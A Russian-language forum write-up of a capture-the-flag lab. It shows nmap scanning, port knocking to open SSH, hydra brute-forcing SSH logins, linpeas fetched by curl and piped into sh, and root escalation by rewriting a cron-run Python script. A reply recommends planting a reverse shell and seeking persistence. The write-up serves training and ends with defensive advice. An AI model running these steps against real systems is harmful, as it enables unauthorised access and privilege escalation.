Writeup Кто там? writeup

r0dd9

Green Team
14.08.2019
19
11
Специализация
  1. Пентест
Прямая ссылка на задание
  1. Port knocking: 2002 → 2003 → 2006 открыл SSH.
  2. Получил доступ к пользователю Sergey2006.
  3. Нашёл user.txt → начало флага.
  4. Увидел, что test.py и rev.py запускаются из cron от root.
  5. Модифицировал rev.py, чтобы он прочитал /root/root.txt.
  6. Получил вторую часть флага.

🔐 Цель


Сервер 192.168.2.204:
🔍 Разведка цели

nmap

Bash:
nmap -sS 192.168.2.204

SYN-сканирование (полуоткрытое) По умолчанию. Быстро, тихо, не логируется на многих системах.

screen2026-06-02_12.48.13.webp


TCP SYN scan находит 22 порт и 80 порт
→ SSH не открыт напрямую, но помечен как filtered. - запомним.

- Прверим robots.txt
Bash:
curl http://192.168.2.204/robots.txt
- Просканируем так-же директории сайта dirsearch на наличие открытого контента.

screen2026-06-02_13.27.34.webp


CGI-скрипты открыты и исполняются
Что такое cgi-bin?
Каталог, где размещаются CGI-скрипты (обычно на Perl, Python, Shell).
Если они доступны извне — могут позволить выполнение команд на сервере.
Особенно опасны, если скрипты обрабатывают входные данные без фильтрации → RCE (Remote Code Execution).

- Изучив HTML главной страницы находим подсказку

screen2026-06-02_13.06.15.webp


Это прямая отсылка к технике "Port Knocking" («стук в порты»).
Что такое Port Knocking?

Port Knocking — это скрытый механизм аутентификации:

  • Определённые порты изначально закрыты или фильтруются.
  • Только после подключения к портам в определённой последовательности — например, 1000 → 2000 → 3000 — открывается нужный порт (например, SSH на 22).
  • Если не знать последовательность — порт остаётся недоступным.

Это как «пароль из стуков»: тук-тук-тук — и дверь открывается.

🎯 Выбираем вектор атаки​

🧩 Этап 1: Port Knocking

✅ Что делать дальше?

Шаг 1: Найти последовательность «стуков»​


Где может быть указана последовательность?
Изучим сайт.

screen2026-06-02_13.21.47.webp


  • В именах авторов: Nikita2002, Petya2003, Sergey2006
  • В годах: 2002, 2003, 2006

👉 Возможно, последовательность портов — это:

Bash:
2002 → 2003 → 2006

или

Bash:
2006 → 2003 → 2002

Шаг 2: Выполнить port knocking​


Используем nmap. Цель — просто «стукнуть» в порт, и добавим задержку между стуками sleep 1.

Bash:
nmap -p 2002 192.168.2.204 && sleep 1 && nmap -p 2003 192.168.2.204 && sleep 1 && nmap -p 2006 192.168.2.204
screen2026-06-02_13.56.11.webp


nmap открывает SSH на 22 порту.

screen2026-06-02_13.53.53.webp


🔑 Этап 2: Вход по SSH​


Порт открылся но мы не знаем логина и пароля для входа по ssh.
screen2026-06-02_14.09.11.webp

Исходя из анализа сайта, предположим что логин это имя автора а пароль это год, составим словарь для брута ssh.
Из того что нам известно Nikita2002, Petya2003, Sergey2006 напишем скрипт для генерации возможных комбинаций пары логин пароль.

Код:
gedit gen_dict.sh
Bash:
#!/bin/bash
items=(
  "Nikita2002" "Petya2003" "Sergey2006"
  "Nikita" "2002" "Petya" "2003" "Sergey" "2006"
  "nikita2002" "Nikita_2002" "Nikita-2002" "2002Nikita"
  "petya2003" "Petya_2003" "Petya-2003" "2003Petya"
  "sergey2006" "Sergey_2006" "Sergey-2006" "2006Sergey"
)

> login_pass.txt
for u in "${items[@]}"; do
  for p in "${items[@]}"; do
    echo "$u:$p"
  done
done

Дадим скрипту права на выполнение.

Bash:
chmod +x gen_dict.sh

И запустим для генерации словаря.

Bash:
./gen_dict.sh

Подкинем словарь в hydra через -C в 4 потока.

Bash:
hydra -C login_pass.txt ssh://192.168.2.204 -t 4 -f -V


-C login_pass.txt Использует словарь в формате login:password
ssh://192.168.2.204 Цель: SSH на указанном IP
-t 4 4 параллельных соединения (чтобы не перегрузить и не заблокироваться)
-f Остановиться после первого успеха (как только найдёт пароль)
-V Подробный вывод — показывает, какая пара проверяется

❌ Брут не дал результата.

⏳ 🔍 Попробуем пробрутить логины Nikita2002, Petya2003, Sergey2006 по стандартным словарям из SecList.

screen2026-06-02_15.16.55.webp


⚡ 🎯 Брут дал результат.

Входим на сервер по shh
Осмотримся что тут есть.

screen2026-06-02_15.28.25.webp


✅ 🏁 На серве в учетке Сергея находим первую часть флага.

📁 Этап 3: Первичная разведка сервера​


Мы внутри. Ищем вторую часть флага.
Скорее всего нужно искать в папке root.
Автоматизируем разведку внутри сервера с помошью LeanPeass.
LinPEAS — это скрипт, который ищет возможные пути повышения привилегий на хостах Linux/Unix*/MacOS.

Bash:
whoisthere:~$ curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

LinPEAS находит и подсвечивает возможный вектор развития в скомпрометированной системе, это планировщик cron.

screen2026-06-02_15.46.59.webp


по матрицае MITRE ATT&CK это недостатки разрешений для файлов служб.

Посмотрим все запущенные процессы в системе, и отфильтруем их по python и cron.

Bash:
ps aux | grep -i "python\|cron"
screen2026-06-02_16.06.22.webp


Найдено:

  • /home/Sergey2006/user.txt → CODEBY{перваячастьфлага
  • /bin/bbsuid — SUID-root бинарник (не удалось эксплуатировать)
  • test.py, rev.py — Python-скрипты
  • Cron запускает test.py и rev.py от root

🚀 Этап 4: Эскалация через cron​


Изменим rev.py:

Python:
import os os.system("cat /root/root.txt > /tmp/final_flag.txt 2>&1") os.system("chmod 666 /tmp/final_flag.txt")

screen2026-06-02_16.16.28.webp


Через 1–2 минуты:

Bash:
cat /tmp/final_flag.txt

screen2026-06-02_16.16.00.webp


💥 CTF решен!

🧠 Использованные уязвимости​


Port Knocking Неочевидный способ открытия SSH — защита "по знанию"
Writable cron-executed script Возможность модифицировать скрипт, запускаемый от root
Lack of input validation Скрипты выполняются без проверки целостности

🛡 Рекомендации по защите​


1. Ограничить права на скрипты в cron — только для root.
2. Запретить запись в /home/*/ для критических скриптов.
3. Запретить выполнение, использовать noexec на /tmp.
4. Настройте мониторинг изменений в файлах.
5. Отключить SUID для сторонних бинарников.
6. Настройте логирование. Вести логирование вывода cron-задач для отслеживания подозрительной активности.

---

✅ Инструменты: nmap, ssh, cat, ps, cron, python, linpeas, dirsearch
 

Вложения

  • screen2026-06-02_13.21.47.webp
    screen2026-06-02_13.21.47.webp
    10,9 КБ · Просмотры: 10
  • screen2026-06-02_15.16.55.webp
    screen2026-06-02_15.16.55.webp
    116,7 КБ · Просмотры: 9
  • screen2026-06-02_15.28.25.webp
    screen2026-06-02_15.28.25.webp
    57,1 КБ · Просмотры: 8
  • screen2026-06-02_15.28.25.webp
    screen2026-06-02_15.28.25.webp
    52,2 КБ · Просмотры: 9
Последнее редактирование:
Флаг берут многие, разбор пишут единицы - CTF держится именно на разборах. Спасибо!

Три вещи на будущее:
  1. Пароль. Ты собрал словарь из имён и годов, а зашёл 123456 - топ-1 rockyou. Это закономерность, а не везение: дефолты и топовые пароли закрывают большинство SSH раньше, чем вообще имеет смысл городить таргетный словарь. Порядок: сначала rockyou / дефолты вендора, кастом потом. Тег машины «Creds Reuse» ровно об этом.
  2. В разборе остался заход через robots.txt и dirsearch, который никуда не вёл. Тупики в процессе норма, но в финальном тексте держи одну чистую линию атаки: что сработало и почему. Остальное сворачивается в строку «проверил, пусто». Читатель видит логику решения, а не лог всех попыток.
  3. Эскалацию ты сделал через os.system("cat /root/root.txt") это один выстрел. Cron крутит твой скрипт от root, так что закладывай туда полноценный reverse shell, а не одну команду: на выходе живая root-сессия и постэксплуатация (разведка, соседние сервисы, персистентность), а не текст одного флага. На лёгкой задаче не страшно, на сложной это тупик.
Жду следующие разборы. Дальше задания злее :)
 
  • Нравится
Реакции: r0dd9
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →

Популярный контент

🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab